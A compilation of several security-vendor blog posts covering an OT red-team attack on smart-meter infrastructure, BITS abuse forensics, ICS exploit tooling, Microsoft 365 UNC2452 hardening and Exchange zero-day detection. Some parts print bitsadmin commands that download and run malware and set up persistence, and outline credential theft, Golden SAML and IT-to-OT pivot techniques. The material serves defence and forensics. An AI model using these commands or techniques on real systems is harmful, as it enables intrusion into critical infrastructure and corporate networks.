Targeted OT attacks attempting to cause physical impacts require planning. A sophisticated actor who is motivated to disrupt or modify an industrial process from a public network will necessarily need to maintain access to the victim environment and remain undetected for enough time to accomplish their objective. Throughout this time, the actor will strive to learn about the control process to formulate the attack, figure out how to pivot to the OT systems and bypass security controls, and sometimes even develop or deploy custom OT malware.

Similar to the techniques used by TEMP.Veles to reach the OT network during the TRITON incident, Mandiant’s experience during red team engagements highlights that collecting information from IT network assets plays a crucial role in targeted OT attacks. As a result, the internal reconnaissance phase for OT targeted attacks begins in the enterprise network, where the actor obtains knowledge and resources to propagate from an initial compromise in the IT network to remote access in the OT network. Detailed information collected about the target, their security operations, and their environment can also support an actor's attempts at remaining undetected while expanding operations.

Figure 1: Targeted OT attack from a public network

Thinking Like an Adversary: How to Turn Off Smart Energy Meters

The ideal scenario for an attacker targeting OT systems is to achieve their objective while remaining undetected. Mandiant’s Red Team works with clients across critical infrastructure industries to simulate attack scenarios in which actors can accomplish this goal by gaining access to OT systems via compromise of external facing IT networks. During these engagements, we emulate real actor behaviors to learn about our target and to determine the best paths for IT/OT network propagation.

For this engagement, we simulated an end-to-end OT-specific attack scenario in which we tested the security controls and response capabilities of an organization to protect smart grid meter control infrastructure from an external attacker. Mandiant leveraged weaknesses in people, process, and technology to gain remote access from the public Internet and to achieve a set of pre-approved objectives in the OT environment.

Establishing a Foothold in the IT Network

Mandiant conducted a spear phishing exercise to gain initial access into the client’s enterprise network from the Internet. We defined a combination of two different phishing scenarios that we deployed to test email filtering and egress monitoring controls:

  • Embedded link for a malicious file hosted on a Mandiant owned domain on the Internet
  • Email attachment for a Microsoft Office document with auto - executable macro code

This exercise allowed our team to achieve code execution on a user workstation in the enterprise environment and to establish an unattributable egress communication path to a Mandiant hosted Cobalt Strike Command and Control (C&C) server on the Internet. After establishing a stable communication path with workstations in the enterprise environment, we utilized the following publicly available offensive security tools (OST) to escalate privileges and to obtain domain administrator level access:

  • ldapsearch to enumerate information in the enterprise domain
  • PowerSploit to exploit common security misconfigurations in IT
  • WMImplant to move laterally from one system to another in the internal network
  • Mimikatz to extract credentials for local user and domain administrator accounts

As domain administrators, we gained unrestricted access to a variety of resources connected to the enterprise domain (e.g. server resources, file shares, IT applications, and administrator consoles for IT systems). During the initial stages of our engagement, our actions were in no way different to other less sophisticated intrusions on industrial organizations, such as financially-motivated compromises.

Defining Our Path to the OT Network

Similar to real world threat actors carrying out targeted OT attacks, Mandiant’s OT Red Team dedicates significant effort for internal reconnaissance in the IT network to develop a logical mapping of the extended network architecture and discover targets of interest (people, processes, or technology). The information we acquire helps us to (a) define paths to propagate from the IT to the OT network and (b) achieve our final objective in the OT network without raising alarms. During OT Red Team engagements across different industries, we follow a real attacker’s cost-benefit analysis to determine which sources or methods are most likely to help us obtain that information.

Figure 2: Information sources and target information from enterprise networks

For this engagement, we leveraged the domain administrator credentials obtained in the previous phase to gain access to Microsoft System Center Configuration Manager (SCCM) in the IT network. Logged into the SCCM console, we leveraged software deployment features for collection to establish C&C over user workstations belonging to pre-selected departments in the client organization.

Mandiant chose the specific groups based on the names of their departments and the description attributes, which suggested a high likelihood of member users with high privilege access for network infrastructure or application management. This included members of the following groups: network management, firewall administration, control engineering, and smart meter operations.

Access to user workstations of target employees in these departments enabled us to:

  • Capture keystrokes to obtain remote desktop protocol (RDP) credentials for the OT network by using a Cobalt Strike modified script
  • Login to department file shares and extract OT system design documents
  • Extract network design documents and backup files for OT firewall configurations found in the firewall management console
  • Find plaintext credentials for OT management systems from operation manuals

Internal reconnaissance in the IT network not only allowed us to obtain remote access credentials for the OT network, but to also gain a deeper understanding of the business processes and technical control system operations in the OT environment by reviewing internal OT-specific operational procedures and security documentation such as asset inventories and configurations.

Propagating to the OT Network

During the process of propagation from IT to OT networks, an actor will leverage previously compromised systems, credentials, or applications to access systems in higher security zones—such as OT demilitarized zones (DMZ). Based on our observations during multiple red teaming engagements and research, the most likely attack vectors for propagation are:

Table 1: Most likely attack vectors for IT/OT propagation

For this engagement, we initially analyzed the system architecture to define the best path to follow. Engineers from the target organization were required to use multi-factor-authentication (MFA) to gain remote access to jumpbox servers in the OT network. While not impossible, bypassing this setup would require more time and resources. We instead decided to search for other plausible attack propagation paths.

Figure 3: Formal communication path from enterprise to OT network

Reviewing the firewall configuration files, we identified a dedicated communication path for management access to a Microsoft Windows patch management server in a DMZ between the IT network and the OT network. This patch management server was running on a virtual machine in the DMZ network, while the administration console for the underlying hypervisor software itself was hosted in the IT network.

Mandiant logged into the administration console for the hypervisor software using IT network domain administrator credentials. We then leveraged guest machine administration features via direct console access to execute commands on the patch management server in the DMZ network. The compromise of the patch management server in the DMZ allowed us to pivot via SMB connections to Microsoft Windows-based intermediary systems in the OT network.

Figure 4: Remote attack propagation path from IT network to OT network

Lastly, we compromised Microsoft Windows server systems in the OT network to complete the objectives of the exercise. Using OT credentials retrieved in the previous phases, we authenticated to the SMB service (using single factor authentication) by pivoting through the patch management server in the DMZ network. This enabled us to execute remote console commands on management servers (such as the domain controller) in the OT network.

With access to the domain controller in the core OT network, we extracted credentials for high privilege domain administrator accounts in the OT network using DCSYNC and Mimikatz. Using these accounts, we gained control of management servers, application servers, and operator workstations in the OT network. Mandiant was also able to use compromised credentials to login to the human machine interface (HMI) portal for the meter control infrastructure and issue a disconnect command for a target endpoint meter in the smart grid environment.

Strategic Collection and Detection Opportunities During Reconnaissance and Network Propagation

Although specific capabilities such as malware and tooling vary amongst incidents, internal reconnaissance and network propagation are consistently needed for sophisticated adversaries to expand remote operations from external networks to OT systems. Focusing collection, detection, and hunting efforts on assets or information that are likely to be compromised during these phases presents defenders with strategic opportunities to hunt for and detect targeted adversary activity before it poses a risk to control systems.                                                                                   

  • In a previous blog post stating our approach to OT security, we highlighted that IT networks close to production networks and OT intermediary systems remain the best zones to detect OT targeted attacks, a.k.a. “The Funnel of Opportunity”. As actors pivot across systems and networks to gather information and elevate privileges, they leave footprints that can be tracked before they propagate to critical systems.
  • An actor who covertly performs internal reconnaissance and propagates to the OT network is already positioned to cause damage on mission critical assets and is unlikely to be discovered. Early detection of adversary activity before reaching critical OT systems will decrease the dwell time and the risk of an incident.
  • OT defenders can prioritize collection and detection, alert triage, and incident response efforts by becoming familiar with the types of information and services that OT focused threat actors commonly search for during internal reconnaissance in IT networks and network propagation across OT intermediary systems.
  • Understanding where this information resides presents defenders with a catalog of systems and networks to focus collection and detection efforts on. Defenders can create tailored detections to hunt for adversary activity pursuing this information, prioritize alert response efforts, and identify additional security controls to implement. Mandiant red teaming in OT can help organizations identify which data is valuable for attackers to support their network propagation efforts and which systems are most likely to be compromised by attackers targeting OT networks.

Visit our website for more information or to request Mandiant services or threat intelligence.

M-Trends 2021: A View From the Front Lines

13 Apr 2021

We are thrilled to launch M-Trends 2021, the 12th edition of our annual FireEye Mandiant publication. The past year has been unique, as we witnessed an unprecedented combination of global events. Business operations shifted in response to the worldwide pandemic and threat actors continued to escalate the sophistication and aggressiveness of their attacks, while in parallel leveraged unexpected global events to their advantage.

We discuss all of this and much more in the full report, which is available for download today. But first, here is a sneak preview of the most popular M-Trends metric where we answer the critical question: Are organizations getting better at detecting attacks?

In short, yes! Back in 2011, we reported a 416-day global median dwell time, indicating that attackers were operating undetected on a system or network for over a year on average. This time, from Oct. 1, 2019 through Sept. 30, 2020, the median dwell time has decreased to only 24 days. This means—for the first time in M-Trends history—the median dwell time has dropped to under one month.

Although this drop in dwell time is promising, it is critical for organizations to remember that cyber adversaries typically only need a few days to achieve their objective, such as identifying and stealing the crown jewels of a victim organization or launching a crippling ransomware attack. Organizations across the globe must remain vigilant, to prepare for the next incident.

There is much more to unpack in the M-Trends 2021 report. Here is a quick rundown of what to expect:

  • By the Numbers: A large and diverse set of metrics including attacker dwell time, detection by source, industry targeting, growing threat techniques, sophisticated malware families, and more.
  • Ransomware: Front-line stories on how this harmful threat is evolving, challenges with recovery, and best practice hardening strategies to effectively combat this threat.
  • Newly Named Threat Groups: More on FIN11, a financially motivated threat group that we promoted in 2020, which has been active since at least 2016 and is most recently known for operations involving ransomware and extortion.
  • Pandemic-Related Threats: Breakdown of countless espionage campaigns targeting ground-breaking research in the race to learn more about COVID-19.
  • UNC2452/SUNBURST: UNC2452’s headline-making compromise of environments via an implant in the SolarWinds Orion platform, mapped to the attack lifecycle framework with details at every stage.
  • Case Studies: Mandiant engagements involving the rise of insider threats and how to be more prepared, plus advanced red teaming tactics that enabled access to executive emails without any exploits.

For over a decade, the mission of M-Trends has always been the same: to arm security professionals with insights on the latest attacker activity as seen directly on the front lines, backed by actionable learnings to improve organizations’ security postures within an evolving threat landscape.

Download the M-Trends 2021 report today, and then for more information, check out the FireEye Mandiant Virtual Summit. Starting today and running through April 15, the event includes a variety of sessions, with three related to M-Trends: one that provides an overview of the report and highlights key topics, another focused on our “By the Numbers” chapter coupled with mitigation solutions related to these metrics, and one covering the report through a lens from the EMEA region. Register now!

Back in a Bit: Attacker Use of the Windows Background Intelligent Transfer Service

31 Mar 2021

In this blog post we will describe:

  • How attackers use the Background Intelligent Transfer Service (BITS)
  • Forensic techniques for detecting attacker activity with data format specifications
  • Public release of the BitsParser tool
  • A real-world example of malware using BITS persistence


Microsoft introduced the Background Intelligent Transfer Service (BITS) with Windows XP to simplify and coordinate downloading and uploading large files. Applications and system components, most notably Windows Update, use BITS to deliver operating system and application updates so they can be downloaded with minimal user disruption.

Applications interact with the Background Intelligent Transfer Service by creating jobs with one or more files to download or upload. The BITS service runs in a service host process and can schedule transfers to occur at any time. Job, file, and state information is stored in a local database.

How Attackers Use BITS

As is the case with many technologies, BITS can be used both by legitimate applications and by attackers. When malicious applications create BITS jobs, files are downloaded or uploaded in the context of the service host process. This can be useful for evading firewalls that may block malicious or unknown processes, and it helps to obscure which application requested the transfer. BITS transfers can also be scheduled allowing them to occur at specific times without relying on long-running processes or the task scheduler.

BITS transfers are asynchronous, which can result in situations where the application that created a job may not be running when the requested transfers complete. To address this scenario BITS jobs can be created with a user-specified notification command, which will be executed after the job completes or in case of errors. The notification commands associated with BITS jobs can specify any executable or command to run. Attackers have utilized this feature as a method for maintaining persistence of malicious applications.

Since the command data for BITS jobs is stored to a database rather than traditional registry locations, it can be overlooked by tools that attempt to identify persistence executables and commands or by forensic investigators.

BITS jobs can be created using API function calls or via the bitsadmin command line tool. See Figure 1 and Figure 2 for an example of how a BITS job can be used to download a file and trigger execution.

> bitsadmin /create download
> bitsadmin /addfile download https:///malware.exe c:\windows\malware.exe
> bitsadmin /resume download
> bitsadmin /complete download

Created job {EA8603EB-7CC2-44EC-B1EE-E9923290C2ED}.
Added https:///malware.exe -> c:\windows\malware.exe to job.
Job resumed.
Job completed.

Figure 1: Using bitsadmin to create a job that downloads a malicious executable and stores it to c:\windows\malware.exe.

> bitsadmin /create persistence
> bitsadmin /addfile persistence c:\windows\i.exe
> bitsadmin /SetNotifyCmdLine persistence c:\windows\malware.exe NULL
> bitsadmin /resume persistence

Figure 2: Using bitsadmin to create a job that will launch malware.exe after attempting to download an invalid URL.

Creating BitsParser

Through our investigations, Mandiant consultants identified evidence of attackers leveraging BITS across multiple campaigns. In order to search for evidence of attacker use of BITS, we needed to understand the underlying infrastructure used by BITS and create a tool that could collect relevant information.

We created BitsParser, which parses BITS databases and returns information about jobs executed on endpoint systems. The tool can be run internally by Mandiant consultants via our endpoint agent allowing BITS data to be acquired from many hosts across an enterprise. BitsParser has been successfully used in many investigations to uncover attacker downloads, uploads, and persistence.

In order to process the custom database format, BitsParser utilizes the open source ANSSI-FR library. The library allows parsing of both active and deleted entries from BITS database files, and it can fully extract relevant information from job and file records.

The QMGR Database

BITS jobs and associated state information are stored in local “queue manager” (QMGR) database files in the %ALLUSERSPROFILE%\Microsoft\Network\Downloader directory. The database is stored to files named qmgr0.dat and qmgr1.dat. The two-file scheme appears to be used for back up and synchronization purposes. The second file largely contains duplicate job and file information, though some unique or older entries can be found in the file.

Windows 10 Changes

The Background Intelligent Transfer Service has largely remained unchanged since its introduction. However, Windows 10 introduced significant changes to the service, including an all new database format. On Windows 10 the QMGR database is stored using the Extensible Storage Engine (ESE) format. ESE databases have been used in many other Microsoft products including Exchange, Active Directory, and Internet Explorer.

Windows 10 stores the QMGR database in a single file called qmgr.db. Separate transaction log files are maintained in the same directory. The most recent transaction log is stored to a file called edb.log, and three older transaction logs with numerical suffixes are typically present.

Parsing ESE Databases

In order to support investigations on Windows 10 systems, we updated the BitsParser tool to support the new QMGR database format. To accomplish this, we needed a Python-based ESE database parser. Research led us to libesedb, which is a full ESE database implementation written in C with a Python wrapper. With no other Python options available, we initially used libesedb in BitsParser to parse the Windows 10 QMGR database. However, we sought a solution that did not rely on native executables and would be more compact for improved efficiency in large scale deployments.

The only pure Python ESE database implementation we identified was part of the Impacket network toolset. Although the source code could perform basic database enumeration, it lacked key features, including the ability to process long values. Since the QMGR database includes entries large enough to require long values, modification of the Impacket implementation was required. We adapted the Impacket ESE database parsing code to make it more robust and support all features necessary for parsing QMGR databases. The full Python solution allows database parsing in a much smaller package without the risks and limitations of native code.

Database Structure

The Windows 10 QMGR database contains two tables: Jobs and Files. Both tables have two columns: Id and Blob. The Id contains a GUID to identify the entry, and the Blob contains binary data which defines the job or file. Fortunately, the job and file structures are largely unchanged from the previous database format.

Job data starts with the control structure:




















Name (UTF-16)



Description (UTF-16)



Command (UTF-16)



Arguments (UTF-16)



User SID (UTF-16)





Following the control structure is a list of files delimited by the XFER GUID, {7756DA36-516F-435A-ACAC-44A248FFF34D}. The list begins with a 4-byte file count followed by a list of GUIDs, which correspond to Id values in the Files table.

The file data uses the following structure:



Destination Filename (UTF-16)


Source Filename (UTF-16)


Temporary Filename (UTF-16)


Download Size


Transfer Size




Drive (UTF-16)


Volume GUID (UTF-16)


The database is processed by enumerating entries in the Jobs table, parsing each job data, finding correlated files, and parsing the corresponding records in the Files table. This allows the BitsParser to combine related information and output jobs with their associated files including relevant metadata.

Recovering Deleted Records

Active jobs have entries in the Jobs and Files tables. Records are deleted upon job completion or cancellation. As with other filesystem and data formats, deleted entries are not immediately overwritten and can often be recovered for some time after deletion.

The following algorithm is used to recover deleted jobs and files from Windows 10 QMGR databases:

  1. Locate file records by searching for the file identifier GUID, {519ECFE4-D946-4397-B73E-268513051AB2}. Attempt to parse the following data as a normal file record.
  2. Locate job records by searching for job identifier GUIDs. Attempt to parse the following data as a normal job record. Handle incomplete job entries by parsing just the control structure and manually locate associated files if required.
    The following job GUIDs have been observed in QMGR databases:
    1. {E10956A1-AF43-42C9-92E6-6F9856EBA7F6}
    2. {4CD4959F-7064-4BF2-84D7-476A7E62699F}
    3. {A92619F1-0332-4CBF-9427-898818958831}
    4. {DDBC33C1-5AFB-4DAF-B8A1-2268B39D01AD}
    5. {8F5657D0-012C-4E3E-AD2C-F4A5D7656FAF}
    6. {94416750-0357-461D-A4CC-5DD9990706E4}
  3. Correlate carved file records to carved jobs. Process all remaining carved file records that could not be correlated to active or deleted jobs.

Historic records can also be found in transaction log files. Although we do not parse the transaction log structures, the same algorithm can be used to find job and file records within the logs by searching for appropriate GUIDs. While the same records may be present in multiple files, duplicates can be suppressed to prevent output of redundant information.

BitsParser Tool Release

At the time of writing we are not aware of any open source tools available to parse BITS databases and extract data useful for incident response and forensic investigations. To help address this and foster further research, FireEye has decided to release a standalone version of BitsParser. This command line utility can process all versions of BITS databases and perform carving to recover deleted job and file information.

Source code for BitsParser can be found at our GitHub page.

Note that on Windows 10 the QMGR database files are opened without sharing by the BITS service thus preventing other programs from directly opening them. When BitsParser is deployed via the FireEye endpoint agent it can directly parse the local filesystem and raw read files in circumstances where they cannot be directly read. The standalone BitsParser does not have this ability. The BITS service should be stopped prior to running BitsParser or third-party tools for copying locked files may be utilized.

BITS Persistence in the Wild

In 2020 Mandiant responded to many incidents involving Ryuk ransomware operators leveraging custom backdoors and loaders to actively target hospitals and other medical support centers (see our blog post Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser). Through numerous engagements Mandiant was able to profile the attacker's Tools Techniques and Procedures (TTPs) and identify unique aspects of the various backdoors and loaders that were leveraged prior to encryption. In one such engagement, Mandiant consultants had mapped the vast majority of the attack timeline from initial exploitation to the encryption of corporate resources and an extortion demand. Log analysis and telemetry provided by the customer's on-premises endpoint detection solution led to the identification of a KEGTAP backdoor on an end-user workstation. Mandiant was able to identify the specific email and lure used by the ransomware operators including the download and execution of the file mail.exe, which launched KEGTAP. However, none of the persistence mechanisms that Mandiant observed in other engagements were present on this endpoint.

A full understanding of the persistence mechanism would allow Mandiant to hunt for additional evidence of attacker activity across the environment and in other engagements. As focus intensified, Mandiant consultants identified evidence to indicate that the BITS service launched the KEGTAP backdoor. Analysts identified entries in the Microsoft-Windows-Bits-Client operational event log which associated the BITS service activity with the file mail.exe.

3 | Information | The BITS service created a new job: System update, with owner REDACTED

61 | Warning | BITS stopped transferring the System update transfer job that is associated with the URL. The status code is 2147954429.  

64 | Warning | The BITS job System update is configured to launch C:\Users\REDACTED\AppData\Local\Microsoft\Windows\INetCache\IE\REDACTED\mail.exe after transfer of The service failed to launch the program with error 2147942402, BITS will continue trying to launch the program periodically until it succeeds.  

Figure 3: Event log entries showing the creation of a BITS job for persistence

Mandiant consultants were able to confirm the details of the BITS job by interacting with the host and examining the QMGR database. The malicious BITS job was set to attempt an HTTP transfer of a nonexistent file from the local host. As this file would never exist, BITS would trigger the error state and launch the notify command, which in this case was KEGTAP.

Unfortunately, while this was successful in identifying a previously unknown persistence mechanism associated with this threat group, manual QMGR database analysis would not scale across multiple systems or environments. Adapting the existing BitsParser to parse the Windows 10 version of the QMGR database enabled Mandiant consultants to efficiently identify additional infected systems across multiple environments.

    "JobType": "download",
    "JobPriority": "normal",
    "JobState": "queued",
    "JobName": "System update",
    "CommandExecuted": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",
    "Files": [
            "DestFile": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",
            "SourceURL": "",
            "DownloadByteSize": 0

Figure 4: BitsParser output shows the malicious BITS job launching mail.exe


The Background Intelligent Transfer Service continues to provide utility to applications and attackers alike. The BITS QMGR database can present a useful source of data in an investigation or hunting operation. BitsParser may be utilized with other forensic tools to develop a detailed view of attacker activity.

Monitoring ICS Cyber Operation Tools and Software Exploit Modules To Anticipate Future Threats

23 Mar 2020

There has only been a small number of broadly documented cyber attacks targeting operational technologies (OT) / industrial control systems (ICS) over the last decade. While fewer attacks is clearly a good thing, the lack of an adequate sample size to determine risk thresholds can make it difficult for defenders to understand the threat environment, prioritize security efforts, and justify resource allocation.

To address this problem, FireEye Mandiant Threat Intelligence produces a range of reports for subscription customers that focus on different indicators to predict future threats. Insights from activity on dark web forums, anecdotes from the field, ICS vulnerability research, and proof of concept research makes it possible to illustrate the threat landscape even with limited incident data. This blog post focuses on one of those source sets—ICS-oriented intrusion and attack tools, which will be referred to together in this post as cyber operation tools.

ICS-oriented cyber operation tools refer to hardware and software that has the capability to either exploit weaknesses in ICS, or interact with the equipment in such a way that could be utilized by threat actors to support intrusions or attacks. For this blog post, we separated exploit modules that are developed to run on top of frameworks such as Metasploit, Core Impact, or Immunity Canvas from other cyber operation tools due to their exceedingly high number.

Cyber Operation Tools Reduce the Level of Specialized Knowledge Attackers Need to Target ICS

As ICS are a distinct sub-domain to information and computer technology, successful intrusions and attacks against these systems often requires specialized knowledge, establishing a higher threshold for successful attacks. Since intrusion and attack tools are often developed by someone who already has the expertise, these tools can help threat actors bypass the need for gaining some of this expertise themselves, or it can help them gain the requisite knowledge more quickly. Alternatively, experienced actors may resort to using known tools and exploits to conceal their identity or maximize their budget.

Figure 1: ICS attacker knowledge curve

The development and subsequent adoption of standardized cyber operation tools is a general indication of increasing adversarial capability. Whether these tools were developed by researchers as proof-of-concept or utilized during past incidents, access to them lowers the barrier for a variety of actors to learn and develop future skills or custom attack frameworks. Following this premise, equipment that is vulnerable to exploits using known cyber operation tools becomes low-hanging fruit for all sorts of attackers.

ICS Cyber Operation Tool Classification

Mandiant Intelligence tracks a large number of publicly available ICS-specific cyber operation tools. The term "ICS-specific," as we employ it, does not have a hard-edged definition. While the vast majority of cyber operation tools we track are clear-cut cases, we have, in some instances, considered the intent of the tool's creator(s) and the tool's reasonably foreseeable impact on ICS software and equipment. Note, we excluded tools that are IT-based but may affect OT systems, such as commodity malware or known network utilities.  We included only a few exceptions, where we identified specialized adaptations or features that enabled the tool to interact with ICS, such as the case of nmap scripts.

We assigned each tool to at least one of eight different categories or classes, based on functionality.

Table 1: Classes of ICS-specific intrusion and attack tools

While some of the tools included in our list were created as early as 2004, most of the development has taken place during the last 10 years. The majority of the tools are also vendor agnostic, or developed to target products from some of the largest ICS original equipment manufacturers (OEM). Siemens stands out in this area, with 60 percent of the vendor-specific tools potentially targeting its products. Other tools we identified were developed to target products from Schneider Electric, GE, ABB, Digi International, Rockwell Automation, and Wind River Systems.

Figure 2 depicts the number of tools by class. Of note, network discovery tools make up more than a quarter of the tools. We also highlight that in some cases, the software exploitation tools we track host extended repositories of modules to target specific products or vulnerabilities.

Figure 2: ICS-specific intrusion and attack tools by class

Software Exploit Modules

Software exploit modules are the most numerous subcomponents of cyber operation tools given their overall simplicity and accessibility. Most frequently, exploit modules are developed to take advantage of a specific vulnerability and automate the exploitation process. The module is then added to an exploit framework. The framework works as a repository that may contain hundreds of modules for targeting a wide variety of vulnerabilities, networks, and devices. The most popular frameworks include Metasploit, Core Impact, and Immunity Canvas. Also, since 2017, we have identified the development of younger ICS-specific exploit frameworks such as AutosploitIndustrial Exploitation Framework (ICSSPLOIT), and the Industrial Security Exploitation Framework.

Given the simplicity and accessibility of exploit modules, they are attractive to actors with a variety of skill levels. Even less sophisticated actors may take advantage of an exploit module without completely understanding how a vulnerability works or knowing each of the commands required to exploit it. We note that, although most of the exploit modules we track were likely developed for research and penetration testing, they could also be utilized throughout the attack lifecycle.

Exploit Modules Statistics

Since 2010, Mandiant Intelligence has tracked exploit modules for the three major exploitation frameworks: Metasploit, Core Impact, and Immunity Canvas. We currently track hundreds of ICS-specific exploit modules related to more than 500 total vulnerabilities, 71 percent of them being potential zero-days. The break down is depicted in Figure 3. Immunity Canvas currently has the most exploits due in large part to the efforts of Russian security research firm GLEG.

Figure 3: ICS exploit modules by framework

Metasploit framework exploit modules deserve particular attention. Even though it has the fewest number of modules, Metasploit is freely available and broadly used for IT penetration testing, while Core Impact and Immunity Canvas are both commercial tools. This makes Metasploit the most accessible of the three frameworks. However, it means that module development and maintenance are provided by the community, which is likely contributing to the lower number of modules.

It is also worthwhile to examine the number of exploit modules by ICS product vendor. The results of this analysis are depicted in Figure 4, which displays vendors with the highest number of exploit modules (over 10).

Figure 4: Vendors with 10 exploit modules or more

Figure 4 does not necessarily indicate which vendors are the most targeted, but which products have received the most attention from exploit writers. Several factors could contribute to this, including the availability of software to experiment with, general ease of writing an exploit on particular vulnerabilities, or how the vulnerability matches against the expertise of the exploit writers.

Some of the vendors included in the graph have been acquired by other companies, however we tracked them separately as the vulnerability was identified prior to the acquisition. One example of this is Schneider Electric, which acquired 7-Technologies in 2011 and altered the names of their product portfolio. We also highlight that the graph solely counts exploit modules, regardless of the vulnerability exploited. Modules from separate frameworks could target the same vulnerability and would each be counted separately.

ICS Cyber Operation Tools and Software Exploitation Frameworks Bridge Knowledge and Expertise Gaps

ICS-specific cyber operation tools often released by researchers and security practitioners are useful assets to help organizations learn about ongoing threats and product vulnerabilities. However, as anything publicly available, they can also lower the bar for threat actors that hold an interest in targeting OT networks. Although successful attacks against OT environments will normally require a high level of skills and expertise from threat actors, the tools and exploit modules discussed in this post are making it easier to bridge the knowledge gap.

Awareness about the proliferation of ICS cyber operation tools should serve as an important risk indicator of the evolving threat landscape. These tools provide defenders with an opportunity to perform risk assessments in test environments and to leverage aggregated data to communicate and obtain support from company executives. Organizations that do not pay attention to available ICS cyber operation tools risk becoming low-hanging fruit for both sophisticated and unexperienced threat actors exploring new capabilities.

FireEye Intelligence customers have access to the full list and analysis of ICS cyber operation tools and exploit modules. Visit our website to learn more about the FireEye Mandiant Cyber Physical Threat Intelligence subscription.

Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452

19 Jan 2021

UPDATE (Mar. 18): Mandiant recently observed targeted threat actors modifying mailbox folder permissions of user mailboxes to maintain persistent access to the targeted users' email messages. This stealthy technique is not usually monitored by defenders and provides threat actors a way to access the desired email messages using any compromised credentials. The white paper, blog post and Azure AD Investigator tool have been updated to reflect these findings. Mandiant would like to thank the members of Microsoft’s Detection and Response Team (DART) for their collaboration on this research.

In December 2020, FireEye uncovered and publicly disclosed a widespread attacker campaign that is being tracked as UNC2452. In some, but not all, of the intrusions associated with this campaign where Mandiant has visibility, the attacker used their access to on-premises networks to gain unauthorized access to the victim’s Microsoft 365 environment.

Goals and Objectives

Methodologies that UNC2452 and other threat actors have used to move laterally from on-premises networks to the Microsoft 365 cloud have been detailed in our white paper, Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. The paper also discusses how organizations can proactively harden their environments and remediate environments where similar techniques have been observed.

Mandiant is releasing an auditing script, Azure AD Investigator, through its GitHub repository that organizations can use to check their Microsoft 365 tenants for indicators of some of the techniques used by UNC2452. The script will alert administrators and security practitioners to artifacts that may require further review to determine if they are truly malicious or part of legitimate activity. Many of the attacker techniques detailed in the white paper are dual-use in nature—they can be used by threat actors but also by legitimate tools. Therefore, a detailed review for specific configuration parameters may be warranted, including correlating and verifying that configurations are aligned with authorized and expected activities.

Attacker Tactics, Techniques and Procedures (TTPs)

Mandiant has observed UNC2452 and other threat actors moving laterally to the Microsoft 365 cloud using a combination of four primary techniques:

  1. Steal the Active Directory Federation Services (AD FS) token-signing certificate and use it to forge tokens for arbitrary users (sometimes described as Golden SAML). This would allow the attacker to authenticate into a federated resource provider (such as Microsoft 365) as any user, without the need for that user’s password or their corresponding multi-factor authentication (MFA) mechanism.
  2. Modify or add trusted domains in Azure AD to add a new federated Identity Provider (IdP) that the attacker controls. This would allow the attacker to forge tokens for arbitrary users and has been described as an Azure AD backdoor.
  3. Compromise the credentials of on-premises user accounts that are synchronized to Microsoft 365 that have high privileged directory roles, such as Global Administrator or Application Administrator.
  4. Backdoor an existing Microsoft 365 application by adding a new application or service principal credential in order to use the legitimate permissions assigned to the application, such as the ability to read email, send email as an arbitrary user, access user calendars, etc.
  5. Modify the permissions of folders in a victim mailbox (such as the inbox) to make its contents readable by any other user in the victim’s Microsoft 365 environment.

Read the white paper for a detailed overview of each technique, including practical remediation and hardening strategies, and check out our auditing script, Azure AD Investigator.  


FireEye Helix Detection

MITRE Technique

Detection Logic



Alert on suspicious logon activity as detected by Azure Identity Protection

OFFICE 365 [Federated Domain Set]


Alert on new domain federation in Office 365

OFFICE 365 [Modified Domain Federation Settings]



Alert of modification to domain federations settings in Office 365

OFFICE 365 [User Added Credentials to Service Principal]


Alert on addition of certificates or passwords added to Service Principals

OFFICE 365 ANALYTICS [Abnormal Logon]



Alert on suspicious login activity based on heuristics






Alert on activity access requests for the AD FS Distributed Key Manager (DKM) container in Active Directory

OFFICE 365 [Mailbox Folder Permission Change – Inbox and Top Of Information Store]


Alert on suspicious modifications of mailbox folder permissions for the inbox or top of information store.

Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities

04 Mar 2021

Beginning in January 2021, Mandiant Managed Defense observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment. The observed activity included creation of web shells for persistent access, remote code execution, and reconnaissance for endpoint security solutions. Our investigation revealed that the files created on the Exchange servers were owned by the user NT AUTHORITY\SYSTEM, a privileged local account on the Windows operating system. Furthermore, the process that created the web shell was UMWorkerProcess.exe, the process responsible for Exchange Server’s Unified Messaging Service. In subsequent investigations, we observed malicious files created by w3wp.exe, the process responsible for the Exchange Server web front-end.

In response to this activity, we built threat hunting campaigns designed to identify additional Exchange Server abuse. We also utilized this data to build higher-fidelity detections of web server process chains. On March 2, 2021, Microsoft released a blog post that detailed multiple zero-day vulnerabilities used to attack on-premises versions of Microsoft Exchange Server. Microsoft also issued emergency Exchange Server updates for the following vulnerabilities:


Risk Rating

Access Vector


Ease of Attack

Mandiant Intel

























Table 1: List of March 2021 Microsoft Exchange CVEs and FireEye Intel Summaries

The activity reported by Microsoft aligns with our observations. FireEye currently tracks this activity in three clusters, UNC2639, UNC2640, and UNC2643. We anticipate additional clusters as we respond to intrusions. We recommend following Microsoft’s guidance and patching Exchange Server immediately to mitigate this activity.

Based on our telemetry, we have identified an array of affected victims including US-based retailers, local governments, a university, and an engineering firm. Related activity may also include a Southeast Asian government and Central Asian telecom. Microsoft reported the exploitation occurred together and is linked to a single group of actors tracked as “HAFNIUM”, a group that has previously targeted the US-based defense companies, law firms, infectious disease researchers, and think tanks.

In this blog post, we will detail our observations on the active investigations we are currently performing. As our experience with and knowledge of this threat actor grows, we will update this post or release new technical details as appropriate. For our Managed Defense Customers, we have launched a Community Protection Event that will provide frequent updates on this threat actor and activity.

We will be discussing these attacks more in an upcoming webinar on Mar. 17, 2021.

From Exploit to Web Shell

Beginning in January 2021, Mandiant Managed Defense observed the creation of web shells on one Microsoft Exchange server file system within a customer’s environment. The web shell, named help.aspx (MD5: 4b3039cf227c611c45d2242d1228a121), contained code to identify the presence of (1) FireEye xAgent, (2) CarbonBlack, or (3) CrowdStrike Falcon endpoint products and write the output of discovery. Figure 1 provides a snippet of the web shell’s code.

Figure 1: Snippet of the web shell help.aspx, crafted to identify the presence of endpoint security software on a victim system

